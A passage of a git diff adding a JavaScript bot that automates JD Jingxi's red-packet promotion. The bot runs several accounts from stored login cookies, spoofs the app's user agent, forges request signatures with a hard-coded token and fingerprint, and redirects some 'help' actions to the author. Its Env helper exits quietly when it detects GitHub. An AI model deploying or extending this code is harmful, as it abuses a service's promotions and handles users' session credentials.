if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jx_ttysq.js b/jx_ttysq.js new file mode 100644 index 0000000..f73eb10 --- /dev/null +++ b/jx_ttysq.js @@ -0,0 +1,471 @@ +/* +#天天压岁钱 +京喜App-下方中间-天天压岁钱 +33 0,14,20 * * * jx_ttysq.js + +############# +PS:(不是玩代码的人,写代码有bug很正常!!) + + + */ +const $ = new Env('天天压岁钱'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + secretp = '', + joyToken = "", + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +$.shareCoseList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://m.jingxi.com`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + //await getToken(); + cookiesArr = cookiesArr.map(ck => ck + `joyytoken=50084${joyToken};`) + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS + //做任务 + console.log(`\n优先内部,剩余助力作者!!\n`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + //做任务 + await main() + if (i != cookiesArr.length - 1) { + await $.wait(3000) + } + } + } + let res = await getAuthorShareCode('') + if (!res) { + res = await getAuthorShareCode('') + } + if (res) { + authorCode = res.sort(() => 0.5 - Math.random()) + if (authorCode.length > 3) { + authorCode = authorCode.splice(0, 3) + } + authorCode = authorCode.map(entity => { + return { + "user": "author", + "code": entity.code, + "redId": entity.rpids[Math.floor((Math.random() * entity.rpids.length))], + "beHelp": 0, + "helpId": $.taskId + } + }) + $.shareCoseList = [...$.shareCoseList, ...authorCode] + } + console.log(`要助力的助理码${JSON.stringify($.shareCoseList.length)}个\n`) + //助力任务 + for (let i = 0; i < cookiesArr.length; i++) { + $.canHelp = true + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + if ($.shareCoseList.length >= 1) { + for (let y = 0; y < $.shareCoseList.length; y++) { + if ($.shareCoseList[y].user === $.UserName) { + console.log(`不能助力自己,跳过\n`) + } else if ($.shareCoseList[y].beHelp === false) { + //console.log(`助力已满,跳过\n`) + } else { + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName}去助力${$.shareCoseList[y].user}助力码${$.shareCoseList[y].code}`) + console.log(`助力任务`) + await task(`jxnhj/DoTask`, `taskId=${$.taskId}&strShareId=${$.shareCoseList[y].code}&bizCode=jxnhj_task&configExtra=`); + if ($.max === true){$.shareCoseList[y].beHelp = false} + await $.wait(3000); + if ($.canHelp === false) { break } + } + } + } + } + }; + //助力红包 + for (let i = 0; i < cookiesArr.length; i++) { + $.doHelpTimes = 0 + $.canHelp = true + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + if ($.shareCoseList.length >= 1) { + for (let y = 0; y < $.shareCoseList.length && $.doHelpTimes < 7; y++) { + //$.goHelp = false + if ($.shareCoseList[y].user === $.UserName) { + console.log(`不能助力自己,跳过\n`) + } else if ($.shareCoseList[y].beHelp === 7) { + //console.log(`助力已满,跳过\n`) + } else { + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName}去助力${$.shareCoseList[y].user}助力码${$.shareCoseList[y].code}`) + console.log(`助力红包,Id: ${$.shareCoseList[y].redId}`) + await task(`jxnhj/BestWishes`, `shareId=${$.shareCoseList[y].code}&id=${$.shareCoseList[y].redId}`); + if ($.goHelp === true) { + await $.wait(1000) + await task(`jxnhj/WishHelp`, `id=${$.shareCoseList[y].redId}&shareId=${$.shareCoseList[y].code}`); + $.doHelpTimes += 1; + $.shareCoseList[y].beHelp += 1; + } + if ($.canHelp === false) { break } + await $.wait(3000); + } + } + } + } + }; + if ($.message) await notify.sendNotify(`${$.name}`, `${message}\n`); +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, + "timeout": 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +async function main() { + try { + await task(`jxnhj/GetUserInfo`, `strInviteId=&nopopup=0`, show = true) + await $.wait(1500) + await task(`jxnhj/BestWishes`) + await $.wait(1500) + await task(`jxnhj/GetTaskList`) + await $.wait(1500) + if (!$.allTaskList) { + console.log(`获取任务列表失败`) + } else { + for (let i = 0; i < $.allTaskList.length; i++) { + $.oneTask = $.allTaskList[i]; + if ([2, 14].includes($.oneTask.taskType) && $.oneTask.status === 1 && $.oneTask.awardStatus === 2) { + $.taskId = $.oneTask.taskId; + $.taskName = $.oneTask.taskName + console.log(`去做${$.taskName}`) + await task(`jxnhj/DoTask`, `taskId=${$.taskId}&strShareId=&bizCode=jxnhj_task&configExtra=`) + console.log(`等待5秒`) + await $.wait(5100) + await task(`newtasksys/newtasksys_front/Award`, `taskId=${$.taskId}&bizCode=jxnhj_task&source=jxnhj_task`) + } + if ([4].includes($.oneTask.taskType)) { + $.taskId = $.oneTask.taskId; + $.shareCoseList.push({ + "user": $.UserName, + "code": $.shareId, + "redId": $.redId, + "beHelp": 0, + "helpId": $.taskId + }) + } + } + } + await task(`jxnhj/GetUserInfo`, `strInviteId=&nopopup=0`, show = false) + if ($.lotteryNum >= 1) { + for (let w = 0; w < $.lotteryNum; w++) { + console.log(`可以抽奖${$.lotteryNum}次 ==>>第${w+1}次抽奖`) + await task(`jxnhj/GreetUpgrade`) + await $.wait(1000) + } + } + } catch (e) { + $.logErr(e) + } + +} + + +function task(function_name, body, show = false) { + return new Promise((resolve) => { + $.get(taskUrl(function_name, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ${function_name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (function_name === "jxnhj/GetUserInfo") { + if (data.iRet === 0) { + $.goodsNum = data.myInfo.goodsNum; //年货 + $.level = data.myInfo.level; //等级 + $.levelCost = data.myInfo.levelCost //每次消耗年货 + $.luckyNum = data.myInfo.luckyNum //红包份数 + $.luckyWorth = data.myInfo.luckyWorth //预计分的红包金额 + $.shareId = data.myInfo.shareId //助力码 + $.lotteryNum = Math.floor($.goodsNum / $.levelCost) //消耗年货升等级次数 + if (show === true) { + console.log(`现在等级${$.level},年货值有${$.goodsNum},有${$.luckyNum}份红包,预计分的${$.luckyWorth}元,可抽奖次数${$.lotteryNum}`) + console.log(`助力码:${$.shareId}\n`) + } + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + } else if (function_name === "jxnhj/BestWishes") { + //console.log(JSON.stringify(data)) + if (data.iRet === 0 && data.sErrMsg === "ok") { + if (data.data.toast.indexOf("助力失败") === -1) { + $.goHelp = true; + } else { + $.goHelp = false + $.canHelp = false + console.log(`${data.data.toast}\n`) + } + $.allPagesList = data.data.pages + for (let q = $.allPagesList.length - 1; q !== 0; q--) { + if ($.allPagesList[q].status === 1) { + $.redId = $.allPagesList[q].id + //console.log($.redId) + break + } + } + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + //任务列表 + } else if (function_name === "jxnhj/GetTaskList") { + //console.log(JSON.stringify(data)) + if (data.sErrMsg === "ok") { + $.allTaskList = data.data.taskList + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + //做任务 + } else if (function_name === "jxnhj/DoTask") { + //console.log(JSON.stringify(data)) + if (data.iRet === 0 && data.data.prizeInfo.length === 0) { + console.log(`领取任务`) + //console.log(JSON.stringify(data)) + } else if (data.iRet === 0 && data.data.prizeInfo.length > 0) { + console.log(`助力成功获得:${data.data.prizeInfo[0].prizeName}元红包\n`) + } else if (data.iRet === 1009) { + console.log(`${data.iRet},${data.sErrMsg}\n`) + $.max = true + } else if (data.iRet === 4001) { + console.log(`${data.iRet},${data.sErrMsg}\n`) + $.canHelp = false + } else if (data.iRet === 4007) { + console.log(`${data.iRet},${data.sErrMsg}\n`) + $.canHelp = false + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + //任务奖励 + } else if (function_name === "newtasksys/newtasksys_front/Award") { + //console.log(JSON.stringify(data)) + if (data.ret === 0) { + console.log(`任务完成${JSON.parse(data.data.prizeInfo).ddwAward}年货\n`) + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + //助力红包 + } else if (function_name === "jxnhj/WishHelp") { + //console.log(JSON.stringify(data)) + if (data.iRet === 0 && data.sErrMsg === "ok") { + if (data.data.prizeName.indexOf("元") === -1) { + console.log(`助力成功获得空气\n`) + } else { + console.log(`助力成功获得${data.data.prizeName}红包\n`) + } + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + } else if (function_name === "jxnhj/GreetUpgrade") { + //console.log(JSON.stringify(data)) + if (data.iRet === 0 && data.sErrMsg === "ok") { + console.log(`抽奖获得${data.prizeInfo[0].prizeName}红包\n`) + } else if (data.iRet === 4003) { + console.log(`${data.popup.title}\n`) + } else { + console.log(`${function_name}:${JSON.stringify(data)}`) + } + } else { + console.log(`无类型判断${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + + + +function getToken(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://bh.m.jd.com/gettoken`, + headers: { + 'Content-Type': `text/plain;charset=UTF-8` + }, + body: `content={"appname":"50084","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + console.log(`joyToken = ${data.joyytoken}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}/${function_path}?__t=${Date.now()}&dwEnv=${dwEnv}&${body}&_stk=__t%2CbizCode%2CconfigExtra%2CdwEnv%2CstrShareId%2CtaskId&_ste=1`; + url += `&h5st=${Date.now(), '', '', url}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ajax`; + return { + url, + headers: { + Cookie: cookie, + Accept: "application/json", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/promote/2022/spring2022/index.html?ptag=139419.6.28&sceneval=2", + "Accept-Encoding": "gzip, deflate, br", + "origin": "https://st.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +}; + +function taskPostUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://pro.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) =>{ + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..bccf1e5 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1583 @@ +{ + "name": "jd", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@sindresorhus/is": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz", + "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow==" + }, + "@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "requires": { + "defer-to-connect": "^2.0.0" + } + }, + "@types/cacheable-request": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz", + "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==", + "requires": { + "@types/http-cache-semantics": "*", + "@types/keyv": "*", + "@types/node": "*", + "@types/responselike": "*" + } + }, + "@types/http-cache-semantics": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", + "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" + }, + "@types/keyv": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.2.tgz", + "integrity": "sha512-/FvAK2p4jQOaJ6CGDHJTqZcUtbZe820qIeTg7o0Shg7drB4JHeL+V/dhSaly7NXx6u8eSee+r7coT+yuJEvDLg==", + "requires": { + "@types/node": "*" + } + }, + "@types/node": { + "version": "16.7.10", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.7.10.tgz", + "integrity": "sha512-S63Dlv4zIPb8x6MMTgDq5WWRJQe56iBEY0O3SOFA9JrRienkOVDXSXBjjJw6HTNQYSE2JI6GMCR6LVbIMHJVvA==" + }, + "@types/responselike": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", + "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "requires": { + "@types/node": "*" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": 